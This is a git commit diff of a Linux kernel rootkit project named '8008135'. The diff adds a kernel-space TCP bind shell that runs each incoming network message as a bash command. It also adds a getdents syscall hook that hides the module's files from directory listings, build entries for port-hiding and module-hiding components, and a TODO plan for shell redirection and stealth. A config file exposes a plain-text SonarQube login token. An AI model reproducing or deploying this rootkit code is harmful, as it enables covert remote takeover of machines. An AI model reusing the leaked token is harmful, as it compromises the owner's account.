Update Jenkinsfile

# Conflicts:
#   src/8008135.c

.gitignore

@@ -9,9 +9,10 @@ sysgen.h
 *.a
 *.ko
 *.o
-
+*5y563n.*
 *~
 *.symvers
 *.order
 .tmp_versions/
 *.cmd
+.vscode/

Jenkinsfile

@@ -0,0 +1,26 @@
+#!/usr/bin/env groovy
+
+pipeline {
+
+    agent any
+
+	stages{
+		stage('checkout VCS'){
+			steps{
+				checkout scm
+			}
+        }
+	
+    	stage('compile'){
+	    	steps{
+                sh 'echo "fake-compiling..."'
+            }
+		}
+
+		stage('deploySONAR'){
+			steps{
+                sh 'sonar-scanner'
+            }
+		}
+	}
+}

Makefile

@@ -19,12 +19,18 @@ INCL_H		:= $(PWD)/$(INCL_S)/headers
 obj-m += $(MNAME).o
 # Core
 $(MNAME)-y 	+= src/$(MNAME).o
+$(MNAME)-y  += src/637d3n75.o
+$(MNAME)-y  += src/50ck3t.o
+$(MNAME)-y  += src/h1d3p0r7.o
+$(MNAME)-y  += src/h1d3m0dul3.o
+$(MNAME)-y  += src/p463unpr073c7.o
+$(MNAME)-y  += src/5y563n.o
 
 # Includes for header files etc
-ccflags-y	:= -I$(SRCS_H) -I$(LIBS_H) -I$(INCL_H)
+ccflags-y	:= -I$(SRCS_H) -I$(LIBS_H) -I$(INCL_H) -Wall
 
 all:
-	$(shell $(SRCS_S)/create_sysgen.sh)
+	$(shell $(SRCS_S)/cr3473_5y563n.sh)
 	$(MAKE) -C $(BUILDDIR) M=$(PWD) modules
 
 load:
@@ -34,5 +40,5 @@ unload:
 	rmmod $(MNAME)
 	
 clean:
-	-rm $(SRCS_H)/sysgen.h
+	-rm $(SRCS_H)/5y563n.h
 	$(MAKE) -C $(BUILDDIR) M=$(PWD) clean	

TODO.md

@@ -0,0 +1,10 @@
+# Pick One
+## TCP Socket
+* Add binding to shell:
+	* Incoming commands have to be redir to bash
+	* STDOUT, STDIN, STDERR Handling
+	* Remove chat, debug stuff
+* Hide open Port
+
+## Module
+* Hide itself

sonar-project.properties

@@ -0,0 +1,187 @@
+#*******************************************************************************
+#
+#          FILE: sonar-project.properties
+#
+#         USAGE: 
+#
+#   DESCRIPTION:  
+#
+#       OPTIONS: -
+#  REQUIREMENTS: SonarQube/SonarCloud
+#          BUGS: Hoffentlich keine, bei Problemen bitte kontaktieren
+#         NOTES: 
+#        AUTHOR: vlr
+#  ORGANIZATION: Jan Koerner Enterprises
+#       CREATED: 30.01.2019 22:22:55
+#      REVISION: 1
+#*******************************************************************************
+
+
+
+# Diese Datei ist das Äquivalent der "Jenkins"- oder "Dockerfile" für SonarQube
+# Anhand in dieser Datei spezifizierter Parameter wird das Entwicklungsprojekt 
+# von SonarQube analysiert
+
+#***  Allgemeines  *************************************************************
+
+
+# Host URL, muss angegeben werden
+sonar.host.url=https://sonar.fuxxbau.net
+
+# Default: <url> (maven)
+sonar.links.homepage=https://www.fuxxbau.net
+# Default: <ci-management> (maven)
+sonar.links.ci=http://jenkins.fuxxbau.net
+
+# Default: System Encoding
+sonar.sourceEncoding=UTF-8
+
+# sonar.organization=highQ
+#*******************************************************************************
+
+#***  Debug  *******************************************************************
+# M\"ogliche Werte: DEBUG, INFO
+# Default: INFO
+sonar.log.level=DEBUG
+
+# Ausgabe aller spezifizierten Einstellungen zur Scanner API in ein File
+# sonar.scanner.dumpToFile=dump.txt
+
+# Stelle, an die vom Scanner die "report-task.txt" geschrieben wird
+# Default: sonar.working.directory
+# sonar.scanner.metadataFilePath=
+
+# Stelle in Logs dar, an welchen Stellen der Analyzer wv Zeit ben\"otigt
+# Logs zu finden in workingDir/profiling/moduleKey-profiler.xml
+# workingDir=.sonar/profiling (sonarscanner) 
+# bzw target/sonar/profiling (sonarscanner for maven)
+# Default: false
+# sonar.showProfiling=
+# NOTE: There is the potential for this setting to expose sensitive information 
+# such as passwords if they are stored as server-side environment variables.
+# sonar.verbose=
+#*******************************************************************************
+
+#***  Projekt  *****************************************************************
+
+# Der einzigartige Key des Projekts (Maven Default: <groupId>:<artifactId>
+# Erlaubt sind hier Zahlen, Buchstaben, "-","_",".",":" 
+# mindestens ein char muss keine Zahl sein
+# muss angegeben sein, entweder durch maven oder manuell
+sonar.projectKey=JKE-8008135
+
+# Hier kann entweder Login über einen Nutzer erstellt werden oder \"uber
+# ein Login-Token (Weboberfläche -> My Account -> Security -> Generate Token)
+# Wenn sonar.password leer ist wird sonar.login als Auth-Token interpretiert
+# Alternativ: Anyone-Gruppe Analyse Rechte zuweisen (Serverseitig)
+sonar.login=f116f5c7835d1a62d364355fb24e7ca8e416575e
+# sonar.password=
+
+# Name, der in der Weboberfläche angezeigt wird
+sonar.projectName=JKE-8008135
+# Default: <version> (maven), sonst "not provided"
+# sonar.projectVersion=
+# Default: <description> (maven)
+# sonar.projectDescription=
+
+# Kann nicht früher als das letzte Datum der Analyse dieses Projekts in DB sein
+# Default:Now. Angabe in yyyy-MM-dd
+# sonar.projectDate=
+
+# Kann verwendet werden um zu bestimmen dass die Analyse des Projekts an 
+# anderer Stelle stattfindet 
+# ben\"otigt Schreibrechte f\"ur Erstellung von sonar.working.directory
+# Default=./
+# sonar.projectBaseDir=
+
+#*******************************************************************************
+
+
+# Max Zeit um auf Webservice Call zu warten (in sec, Default 60)
+# Nützlich um auf Timeouts zu reagieren
+# sonar.ws.timeout=
+
+#***  SCM  *********************************************************************
+
+# Das Plugin, das von SonarQube für das Abfragen von SCM Daten verwendet wird
+# Default: Autodetect (-> svn, wenn .svn Ordner hier existiert; git wenn .git)
+sonar.scm.provider=git
+
+# Standardm\"assig werden nur bei ver\"anderten Files blame Informationen geladen
+# Wenn die Daten outdatet sind, kann man hier auf "true" stellen um upzudaten
+# sonar.scm.forceReloadAll=
+
+# Standardm\"assig werden Dateien die vom SCM ignoriert werden (bsp .gitignore) 
+# bei der Analyse ebenfalls ignoriert. 
+# Wenn man diesen Wert hier auf true setzt, disabled man dieses Feature
+# Default: false
+# sonar.scm.exclusions.disabled=
+
+# Überschreiben der Revision
+# Default: Provided von CI oder von source geraten
+# sonar.scm.revision=
+
+# Default: <issueManagement><url> (maven)
+# sonar.links.issue=
+
+# Default: <scm><url> (maven)
+# sonar.links.scm=
+
+# Comma Seperated Pfadliste für Generic Issue Reports
+# sonar.externalIssuesReportPaths=
+
+#*******************************************************************************
+
+
+#***  Build  ******************************************************************* 
+
+# Wenn weder sonar.sources noch sonar.tests gegeben: BaseDir(=./)
+# Default: Wird aus Build Sys gelesen (Maven, Gradle, MSBuild).
+sonar.sources=.
+# Default: Wird aus Build Sys gelesen (Maven, Gradle, MSBuild). Sonst leer
+# sonar.tests=
+
+# Habe ich nicht ganz einordnen k\"onnen, wof\"ur.
+# Offizieller Text:
+# The string passed with this property will be stored with the analysis and available in the results of api/project_analyses/search, thus allowing you to later identify a specific analysis and obtain its ID for use with api/project_analyses/set_baseline.
+# sonar.buildString=
+
+#*******************************************************************************
+
+
+#***  Analyse  *****************************************************************
+
+# Default:.scannerwork
+# sonar.working.directory=
+
+# Hinzuf\"ugen von key-value Paaren zum Analysekontext (-> Webhooks)
+# sonar.analysis.[Key001]=
+# sonar.analysis.[Key002]=
+
+# Standardm\"assig gilt ein Code als dupliziert wenn mind. 100 Token des Codes 
+# gleich sind (über 10 Zeilen hinweg)
+# Kann sprachenspezifisch überschrieben werden
+# sonar.cpd.${language}.minumumtokens=
+# sonar.cpd.${language}.minimumLines=
+
+
+# Diese Parameter sorgen daf\"ur, dass Code zwischen Bl\"ocken nicht analysiert
+# wird. Leider werden diese Parameter nicht offiziell unterst\"utzt
+# https://community.sonarsource.com/t/how-to-set-sonar-issue-ignore-block-in-sonar-project-properties/10943/6
+# Offiziell unterst\"utzt wird nur eine globale Einstellung im Webinterface
+# siehe:
+# Administration->Configuration->General->Analysis Scope->Ignore Issues in Blocks
+# Wird von einem SonarQube Entwickler als "Hack" bezeichnet, was ich nicht 
+# verstehe, es ist mmN legitim, hier Proj Spezifische Settings zu haben (oder zmd: zu haben wollen).
+# Wahrscheinlich ist es auch m\"oglich, andere Einstellungen die im WebUI
+# zu finden sind hier zu "hacken"
+# sonar.issue.ignore.block=ignore-generated
+# sonar.issue.ignore.block.ignore-generated.beginBlockRegexp=DA-ELSE
+# sonar.issue.ignore.block.ignore-generated.endBlockRegexp=DA-END
+
+# Hier ein weiteres Beispiel, bei dem das ganze file von Analyse ausgeschlossen 
+# wird, wenn "@sonar-disable" im File vorkommt
+# sonar.issue.ignore.allfile=ignore-file
+# sonar.issue.ignore.allfile.ignore-file.fileRegexp=@sonar-disable
+
+#*******************************************************************************

src/50ck3t.c

@@ -0,0 +1,567 @@
+/*
+ *
+ * NOTE:
+ * this is basically this guys code:
+ * https://github.com/abysamross/simple-linux-kernel-tcp-client-server.git
+ * his last update was 4 years ago, so there might be some changes,
+ * there definitely will be some regarding the data received/sent back since
+ * this is will be used as a bindshell
+ * but base is his work.
+ *
+ */
+
+/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*-  */
+/*
+ * main.c
+ * Copyright (C) 2019
+ *
+ * 8008135 is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the
+ * Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * 8008135 is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
+/**** includes *****************************************************************
+*******************************************************************************/
+#include "50ck3t.h"
+#ifdef HARMLESS
+#else
+	#include <linux/init.h>
+	#include "610b415.h"
+#endif
+/**** types  *******************************************************************
+*******************************************************************************/
+#ifdef HARMLESS
+#else
+
+	static char *SEnvP[] = {
+		"HOME=/",
+		NULL
+	};
+
+#endif
+struct tcp_conn_handler_data{
+        struct sockaddr_in *FAddress;
+        struct socket *FAcceptSocket;
+        int FThreadID;
+};
+
+struct tcp_conn_handler{
+        struct tcp_conn_handler_data *data[MAX_CONNS];
+        struct task_struct *thread[MAX_CONNS];
+        int tcp_conn_handler_stopped[MAX_CONNS];
+};
+
+struct tcp_conn_handler *STCPConnHandler;
+
+
+struct tcp_server_service{
+      int FRunning;
+      struct socket *FListenSocket;
+      struct task_struct *FThread;
+      struct task_struct *FAccpeptThread;
+};
+
+struct tcp_server_service *FTCPServer_Service;
+
+
+
+/**** var **********************************************************************
+*******************************************************************************/
+static int STCPListenerStopped = 0;
+static int STCPAcceptorStopped = 0;
+
+
+char *inet_ntoa(struct in_addr *AInAddr){
+        char *LIPAddr = NULL;
+        u_int32_t LIPInt = 0;
+
+        LIPAddr = kmalloc(16 * sizeof(char), GFP_KERNEL);
+
+        if(!LIPAddr)
+                return NULL;
+        else
+                memset(LIPAddr, 0, 16);
+
+        LIPInt = AInAddr->s_addr;
+
+        sprintf(LIPAddr, "%d.%d.%d.%d", (LIPInt) & 0xFF, (LIPInt >> 8) & 0xFF,
+                                 (LIPInt >> 16) & 0xFF, (LIPInt >> 16) & 0xFF);
+
+        return LIPAddr;
+}
+
+int tcp_server_send(struct socket *ASocket, int AID, const char *ABuf,\
+                const size_t ALength, unsigned long AFlags){
+        struct msghdr LMsgHeader;
+        struct kvec LVec;
+        int LLen, LWritten, LLeft;
+        mm_segment_t LOldMM;
+
+        LWritten = 0;
+        LLeft = ALength;
+
+        LMsgHeader.msg_name    = 0;
+        LMsgHeader.msg_namelen = 0;
+        LMsgHeader.msg_control = NULL;
+        LMsgHeader.msg_controllen = 0;
+        LMsgHeader.msg_flags = AFlags;
+        LMsgHeader.msg_flags   = 0;
+
+        LOldMM = get_fs(); set_fs(KERNEL_DS);
+
+repeat_send:
+        LVec.iov_len = LLeft;
+        LVec.iov_base = (char *)ABuf + LWritten;
+
+        LLen = kernel_sendmsg(ASocket, &LMsgHeader, &LVec, LLeft, LLeft);
+
+        if((LLen == -ERESTARTSYS) || (!(AFlags & MSG_DONTWAIT) &&\
+                                (LLen == -EAGAIN)))
+                goto repeat_send;
+
+        if(LLen > 0){
+                LWritten += LLen;
+                LLeft -= LLen;
+                if(LLeft)
+                        goto repeat_send;
+        }
+
+        set_fs(LOldMM);
+        return LWritten?LWritten:LLen;
+}
+
+int tcp_server_receive(struct socket *ASock, int AID,struct sockaddr_in *AAddress,\
+                unsigned char *ABuf,int ASize, unsigned long AFlags){
+        struct msghdr LMsgHeader;
+        struct kvec LVec;
+        int LLen;
+        char *LTmp = NULL;
+
+        if(ASock==NULL){
+                pr_info(" *** mtp | tcp server receive socket is NULL| "
+                        " tcp_server_receive *** \n");
+                return -1;
+        }
+
+        LMsgHeader.msg_name = 0;
+        LMsgHeader.msg_namelen = 0;
+        LMsgHeader.msg_control = NULL;
+        LMsgHeader.msg_controllen = 0;
+        LMsgHeader.msg_flags = AFlags;
+
+        LVec.iov_len = ASize;
+        LVec.iov_base = ABuf;
+
+read_again:
+        if(!skb_queue_empty(&ASock->sk->sk_receive_queue))
+                pr_info("recv queue empty ? %s \n",
+                skb_queue_empty(&ASock->sk->sk_receive_queue)?"yes":"no");
+
+        LLen = kernel_recvmsg(ASock, &LMsgHeader, &LVec, ASize, ASize, AFlags);
+
+        if(LLen == -EAGAIN || LLen == -ERESTARTSYS)
+                goto read_again;
+
+        LTmp = inet_ntoa(&(AAddress->sin_addr));
+
+        pr_info("client-> %s:%d, says: %s\n", LTmp, ntohs(AAddress->sin_port), ABuf);
+
+        kfree(LTmp);
+        return LLen;
+}
+
+int connection_handler(void *AData){
+       struct tcp_conn_handler_data *LConnData =
+               (struct tcp_conn_handler_data *)AData;
+
+       struct sockaddr_in *LAddress = LConnData->FAddress;
+       struct socket *LAcceptSocket = LConnData->FAcceptSocket;
+       int LID = LConnData->FThreadID;
+
+       int LRet;
+       int LLen = 49;
+       unsigned char LInBuf[LLen+1];
+#ifdef HARMLESS
+       unsigned char LOutBuf[LLen+1];
+#else
+#endif
+       DECLARE_WAITQUEUE(recv_wait, current);
+       allow_signal(SIGKILL|SIGSTOP);
+
+       while(1){
+              add_wait_queue(&LAcceptSocket->sk->sk_wq->wait, &recv_wait);
+
+              while(skb_queue_empty(&LAcceptSocket->sk->sk_receive_queue)){
+                      __set_current_state(TASK_INTERRUPTIBLE);
+                      schedule_timeout(HZ);
+
+                      if(kthread_should_stop()){
+                              pr_info(" *** mtp | tcp server handle connection "
+                                "thread stopped | connection_handler *** \n");
+
+                              //tcp_conn_handler->thread[id] = NULL;
+                              STCPConnHandler->tcp_conn_handler_stopped[LID]= 1;
+
+                              __set_current_state(TASK_RUNNING);
+                              remove_wait_queue(&LAcceptSocket->sk->sk_wq->wait,\
+                                              &recv_wait);
+                              kfree(STCPConnHandler->data[LID]->FAddress);
+                              kfree(STCPConnHandler->data[LID]);
+                              sock_release(STCPConnHandler->data[LID]->FAcceptSocket);
+                              return 0;
+                      }
+
+                      if(signal_pending(current)){
+                              __set_current_state(TASK_RUNNING);
+                              remove_wait_queue(&LAcceptSocket->sk->sk_wq->wait,\
+                                              &recv_wait);
+                              goto out;
+                      }
+              }
+              __set_current_state(TASK_RUNNING);
+              remove_wait_queue(&LAcceptSocket->sk->sk_wq->wait, &recv_wait);
+
+
+              pr_info("receiving message\n");
+              memset(LInBuf, 0, LLen+1);
+              LRet = tcp_server_receive(LAcceptSocket, LID, LAddress, LInBuf, LLen,\
+                                       MSG_DONTWAIT);
+              if(LRet > 0){
+#ifdef HARMLESS
+            	  if(memcmp(LInBuf, "HOLA", 4) == 0){
+                              memset(LOutBuf, 0, LLen+1);
+                              strcat(LOutBuf, "HOLASI");
+                              pr_info("sending response: %s\n", LOutBuf);
+                              tcp_server_send(LAcceptSocket, LID, LOutBuf,\
+                                              strlen(LOutBuf), MSG_DONTWAIT);
+                  }
+                  if(memcmp(LInBuf, "ADIOS", 5) == 0){
+                              memset(LOutBuf, 0, LLen+1);
+                              strcat(LOutBuf, "ADIOSAMIGO");
+                              pr_info("sending response: %s\n", LOutBuf);
+                              tcp_server_send(LAcceptSocket, LID, LOutBuf,\
+                                              strlen(LOutBuf), MSG_DONTWAIT);
+                              break;
+                  }
+#else
+                  int Ret;
+
+
+                  printk(LInBuf);
+
+                  char *LArgV[] = {"/bin/bash", "-c", LInBuf, NULL};
+                  printk("Calling usermodehelper");
+                  Ret = call_usermodehelper(LArgV[0], LArgV, SEnvP, UMH_WAIT_EXEC);
+                  printk("\nRet is %i \n", Ret);
+#endif
+              }
+       }
+
+out:
+       STCPConnHandler->tcp_conn_handler_stopped[LID]= 1;
+       kfree(STCPConnHandler->data[LID]->FAddress);
+       kfree(STCPConnHandler->data[LID]);
+       sock_release(STCPConnHandler->data[LID]->FAcceptSocket);
+       STCPConnHandler->thread[LID] = NULL;
+       do_exit(0);
+}
+
+int tcp_server_accept(void){
+        int LAcceptErr = 0;
+        struct socket *LSocket;
+        struct socket *LAcceptSocket = NULL;
+        struct inet_connection_sock *LISock;
+        int LID = 0;
+        DECLARE_WAITQUEUE(accept_wait, current);
+        allow_signal(SIGKILL|SIGSTOP);
+        LSocket = FTCPServer_Service->FListenSocket;
+        pr_info(" *** mtp | creating the accept socket | tcp_server_accept "
+                "*** \n");
+
+        while(1){
+                struct tcp_conn_handler_data *LTCPConnHData = NULL;
+                struct sockaddr_in *LClient = NULL;
+                char *LTmp;
+                int addr_len;
+
+                LAcceptErr =
+                        sock_create(LSocket->sk->sk_family, LSocket->type,\
+                                    LSocket->sk->sk_protocol, &LAcceptSocket);
+
+                if(LAcceptErr < 0 || !LAcceptSocket){
+                        pr_info(" *** mtp | accept_error: %d while creating "
+                                "tcp server accept socket | "
+                                "tcp_server_accept *** \n", LAcceptErr);
+                        goto err;
+                }
+
+                LAcceptSocket->type = LSocket->type;
+                LAcceptSocket->ops  = LSocket->ops;
+
+                LISock = inet_csk(LSocket->sk);
+
+
+               add_wait_queue(&LSocket->sk->sk_wq->wait, &accept_wait);
+               while(reqsk_queue_empty(&LISock->icsk_accept_queue)){
+                       __set_current_state(TASK_INTERRUPTIBLE);
+                       schedule_timeout(HZ);
+                       if(kthread_should_stop()){
+                               pr_info(" *** mtp | tcp server acceptor thread "
+                                       "stopped | tcp_server_accept *** \n");
+                               STCPAcceptorStopped = 1;
+                               __set_current_state(TASK_RUNNING);
+                               remove_wait_queue(&LSocket->sk->sk_wq->wait,\
+                                               &accept_wait);
+                               sock_release(LAcceptSocket);
+                               return 0;
+                       }
+
+                       if(signal_pending(current)){
+                               __set_current_state(TASK_RUNNING);
+                               remove_wait_queue(&LSocket->sk->sk_wq->wait,\
+                                               &accept_wait);
+                               goto release;
+                       }
+
+               }
+               __set_current_state(TASK_RUNNING);
+               remove_wait_queue(&LSocket->sk->sk_wq->wait, &accept_wait);
+
+
+               LAcceptErr = LSocket->ops->accept(LSocket, LAcceptSocket, O_NONBLOCK);
+
+               if(LAcceptErr < 0){
+                       pr_info(" *** mtp | accept_error: %d while accepting "
+                               "tcp server | tcp_server_accept *** \n",
+                               LAcceptErr);
+                       goto release;
+               }
+
+               LClient = kmalloc(sizeof(struct sockaddr_in), GFP_KERNEL);
+               memset(LClient, 0, sizeof(struct sockaddr_in));
+
+               addr_len = sizeof(struct sockaddr_in);
+
+               LAcceptErr = LAcceptSocket->ops->getname(LAcceptSocket,
+                               (struct sockaddr *)LClient,
+                               &addr_len, 2);
+
+               if(LAcceptErr < 0){
+                       pr_info(" *** mtp | accept_error: %d in getname "
+                               "tcp server | tcp_server_accept *** \n",
+                               LAcceptErr);
+                       goto release;
+               }
+
+
+               LTmp = inet_ntoa(&(LClient->sin_addr));
+
+               pr_info("connection from: %s %d \n",
+                       LTmp, ntohs(LClient->sin_port));
+
+               kfree(LTmp);
+
+               pr_info("handle connection\n");
+
+
+               for(LID = 0; LID < MAX_CONNS; LID++){
+                        if(STCPConnHandler->thread[LID] == NULL)
+                                break;
+               }
+
+               pr_info("gave free id: %d\n", LID);
+
+               if(LID == MAX_CONNS)
+                       goto release;
+
+               LTCPConnHData = kmalloc(sizeof(struct tcp_conn_handler_data), GFP_KERNEL);
+               memset(LTCPConnHData, 0, sizeof(struct tcp_conn_handler_data));
+
+               LTCPConnHData->FAddress = LClient;
+               LTCPConnHData->FAcceptSocket = LAcceptSocket;
+               LTCPConnHData->FThreadID = LID;
+
+               STCPConnHandler->tcp_conn_handler_stopped[LID] = 0;
+               STCPConnHandler->data[LID] = LTCPConnHData;
+               STCPConnHandler->thread[LID] =
+               kthread_run((void *)connection_handler, (void *)LTCPConnHData, MODULE_NAME);
+
+               if(kthread_should_stop()){
+                       pr_info(" *** mtp | tcp server acceptor thread stopped"
+                               " | tcp_server_accept *** \n");
+                       STCPAcceptorStopped = 1;
+                       return 0;
+               }
+
+               if(signal_pending(current)){
+                       break;
+               }
+
+        }
+
+
+        STCPAcceptorStopped = 1;
+        do_exit(0);
+release:
+       sock_release(LAcceptSocket);
+err:
+       STCPAcceptorStopped = 1;
+       do_exit(0);
+}
+
+int tcp_server_listen(void)
+{
+        int LServerErr;
+        struct socket *LConnSocket;
+        struct sockaddr_in LServer;
+
+        DECLARE_WAIT_QUEUE_HEAD(wq);
+
+        allow_signal(SIGKILL|SIGTERM);
+
+        LServerErr = sock_create(PF_INET, SOCK_STREAM, IPPROTO_TCP,\
+                                &FTCPServer_Service->FListenSocket);
+        if(LServerErr < 0){
+                pr_info(" *** mtp | Error: %d while creating tcp server "
+                        "listen socket | tcp_server_listen *** \n", LServerErr);
+                goto err;
+        }
+
+        LConnSocket = FTCPServer_Service->FListenSocket;
+        FTCPServer_Service->FListenSocket->sk->sk_reuse = 1;
+
+        LServer.sin_addr.s_addr = INADDR_ANY;
+        LServer.sin_family = AF_INET;
+        LServer.sin_port = htons(DEFAULT_PORT);
+
+        LServerErr =
+        LConnSocket->ops->bind(LConnSocket, (struct sockaddr*)&LServer,\
+                        sizeof(LServer));
+
+        if(LServerErr < 0){
+                pr_info(" *** mtp | Error: %d while binding tcp server "
+                        "listen socket | tcp_server_listen *** \n", LServerErr);
+                goto release;
+        }
+
+        LServerErr = LConnSocket->ops->listen(LConnSocket, 16);
+
+        if(LServerErr < 0){
+                pr_info(" *** mtp | Error: %d while listening in tcp "
+                        "server listen socket | tcp_server_listen "
+                        "*** \n", LServerErr);
+                        goto release;
+        }
+
+        FTCPServer_Service->FAccpeptThread =
+                kthread_run((void*)tcp_server_accept, NULL, MODULE_NAME);
+
+        while(1){
+                wait_event_timeout(wq, 0, 3*HZ);
+
+                if(kthread_should_stop()){
+                        pr_info(" *** mtp | tcp server listening thread"
+                                " stopped | tcp_server_listen *** \n");
+                        return 0;
+                }
+
+                if(signal_pending(current))
+                        goto release;
+        }
+
+
+        sock_release(LConnSocket);
+        STCPListenerStopped = 1;
+        do_exit(0);
+release:
+        sock_release(LConnSocket);
+err:
+        STCPListenerStopped = 1;
+        do_exit(0);
+}
+
+int tcp_server_start(void){
+        FTCPServer_Service->FRunning = 1;
+        FTCPServer_Service->FThread = kthread_run((void *)tcp_server_listen, NULL,\
+                                        MODULE_NAME);
+        return 0;
+}
+
+int network_server_init(void){
+        pr_info(" *** mtp | network_server initiated | "
+                "network_server_init ***\n");
+        FTCPServer_Service = kmalloc(sizeof(struct tcp_server_service), GFP_KERNEL);
+        memset(FTCPServer_Service, 0, sizeof(struct tcp_server_service));
+
+        STCPConnHandler = kmalloc(sizeof(struct tcp_conn_handler), GFP_KERNEL);
+        memset(STCPConnHandler, 0, sizeof(struct tcp_conn_handler));
+
+        tcp_server_start();
+        return 0;
+}
+
+void network_server_exit(void){
+        int ret;
+        int id;
+
+        if(FTCPServer_Service->FThread == NULL)
+                pr_info(" *** mtp | No kernel thread to kill | "
+                        "network_server_exit *** \n");
+        else
+        {
+                for(id = 0; id < MAX_CONNS; id++)
+                {
+                        if(STCPConnHandler->thread[id] != NULL)
+                        {
+
+                        if(!STCPConnHandler->tcp_conn_handler_stopped[id])
+                                {
+                                        ret =
+                                kthread_stop(STCPConnHandler->thread[id]);
+
+                                        if(!ret)
+                                                pr_info(" *** mtp | tcp server "
+                                                "connection handler thread: %d "
+                                                "stopped | network_server_exit "
+                                                "*** \n", id);
+                                }
+                       }
+                }
+
+                if(!STCPAcceptorStopped)
+                {
+                        ret = kthread_stop(FTCPServer_Service->FAccpeptThread);
+                        if(!ret)
+                                pr_info(" *** mtp | tcp server acceptor thread"
+                                        " stopped | network_server_exit *** \n");
+                }
+
+                if(!STCPListenerStopped)
+                {
+                        ret = kthread_stop(FTCPServer_Service->FThread);
+                        if(!ret)
+                                pr_info(" *** mtp | tcp server listening thread"
+                                        " stopped | network_server_exit *** \n");
+                }
+
+
+                if(FTCPServer_Service->FListenSocket != NULL && !STCPListenerStopped)
+                {
+                        sock_release(FTCPServer_Service->FListenSocket);
+                        FTCPServer_Service->FListenSocket = NULL;
+                }
+
+                kfree(STCPConnHandler);
+                kfree(FTCPServer_Service);
+                FTCPServer_Service = NULL;
+        }
+
+}

src/610b415.c

@@ -0,0 +1,20 @@
+/*
+ * 610b415.c
+ *
+ *  Created on: Dec 6, 2019
+ *      Author: vlr
+ */
+
+#include "610b415.h"
+
+char * stringRemoveChars(char *AString, char *ASpanset){
+	char *LPtr = AString;
+	LPtr = strpbrk(LPtr, ASpanset);
+
+	while(LPtr != NULL) {
+		*LPtr = ' ';
+		LPtr = strpbrk(LPtr, AString);
+	}
+
+	return AString;
+}

src/637d3n75.c

@@ -0,0 +1,74 @@
+/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*-  */
+/*
+ * main.c
+ * Copyright (C) 2019
+ *
+ * 8008135 is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the
+ * Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * 8008135 is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
+/*******************************************************************************/
+
+
+/**** includes *****************************************************************
+*******************************************************************************/
+#include "637d3n75.h"
+
+/***  var  ********************************************************************
+*******************************************************************************/
+
+sys_getdents_ptr sys_getdents_orig;
+
+/*******************************************************************************/
+
+/***  FUNCTION  ****************************************************************
+*          NAME:  sys_getdents_new
+*   DESCRIPTION:  function overriding the original getdents
+*    PARAMETERS:  -
+*       RETURNS:  -
+*******************************************************************************/
+asmlinkage long sys_getdents_new(unsigned int fd,
+                                 struct linux_dirent __user *dirent,
+                                 unsigned int count){
+	int boff;
+	struct linux_dirent* ent;
+
+	long ret = sys_getdents_orig(fd, dirent, count);
+
+	char* dbuf;
+
+	if (ret <= 0) {
+		return ret;
+	}
+
+	dbuf = (char*)dirent;
+
+	for (boff = 0; boff < ret;) {
+
+		ent = (struct linux_dirent*)(dbuf + boff);
+
+
+		if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0)
+			 || (strstr(ent->d_name, MODULE_NAME) != NULL)) {
+
+			memcpy(dbuf + boff,
+				   dbuf + boff + ent->d_reclen,
+			       ret - (boff + ent->d_reclen));
+			ret -= ent->d_reclen;
+		} else {
+
+			boff += ent->d_reclen;
+		}
+	}
+
+	return ret;
+}

src/8008135.c

@@ -17,116 +17,61 @@
  * with this program.  If not, see <http://www.gnu.org/licenses/>.
  */
 
+/*******************************************************************************/
+
 /**** includes *****************************************************************
 *******************************************************************************/
 #include "8008135.h"
-/****  var  ********************************************************************
-*******************************************************************************/
 
-sys_getdents_t sys_getdents_orig = NULL;
-
-/***  FUNCTION  ****************************************************************
-*          NAME:  sys_getdents_new
-*   DESCRIPTION:  function overriding the original getdents
-*    PARAMETERS:  -
-*       RETURNS:  -
-*******************************************************************************/
-asmlinkage long sys_getdents_new(unsigned int fd,
-                                 struct linux_dirent __user *dirent,
-                                 unsigned int count) {
-	int boff;
-	struct linux_dirent* ent;
-
-	long ret = sys_getdents_orig(fd, dirent, count);
-
-	char* dbuf;
-	
-	if (ret <= 0) {
-		return ret;
-	}
-
-	dbuf = (char*)dirent;
-
-	// go through the entries, looking for one that has our prefix
-	for (boff = 0; boff < ret;) {
-
-		ent = (struct linux_dirent*)(dbuf + boff);
-
-		// if it has hide prefix or module name anywhere, hide it
-		if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0)
-			          || (strstr(ent->d_name, MODULE_NAME) != NULL)) {
-#if defined DEBUG
-			printk("\n hide prefix or mod name contained!\n");
-			printk("\n ret %ld\n ", ret);
-			printk("\n dbuf %d\n" , dbuf);
-			printk("\n");
-			printk(ent->d_name);
-#endif
-			// remove this entry by copying everything after it forward
-			// and adjust the length reported
-#if defined DEBUG
-			printk("\n reclen %u \n", ent->d_reclen);
-#endif
-			memcpy(dbuf + boff,
-				   dbuf + boff + ent->d_reclen,
-			       ret - (boff + ent->d_reclen));
-			ret -= ent->d_reclen;
-#if defined DEBUG
-			printk("\n ret after change %ld\n ", ret);
-#endif
-		} else {
-			// on to the next entry
-			boff += ent->d_reclen;
-		}
-	}
-	
-	return ret;
-}
 
 /***  FUNCTION  ****************************************************************
 *          NAME:  8008135_init
-*   DESCRIPTION:  initializing Kernel Module
+*   DESCRIPTION:  initializing Kernel Module - hijacking syscalltable
 *    PARAMETERS:  -
 *       RETURNS:  int
 *******************************************************************************/
 static int __init init_8008135(void) {
-	printk(KERN_INFO "sys_call_table @ %p\n", sys_call_table);
-	
-	// record the original getdents handler
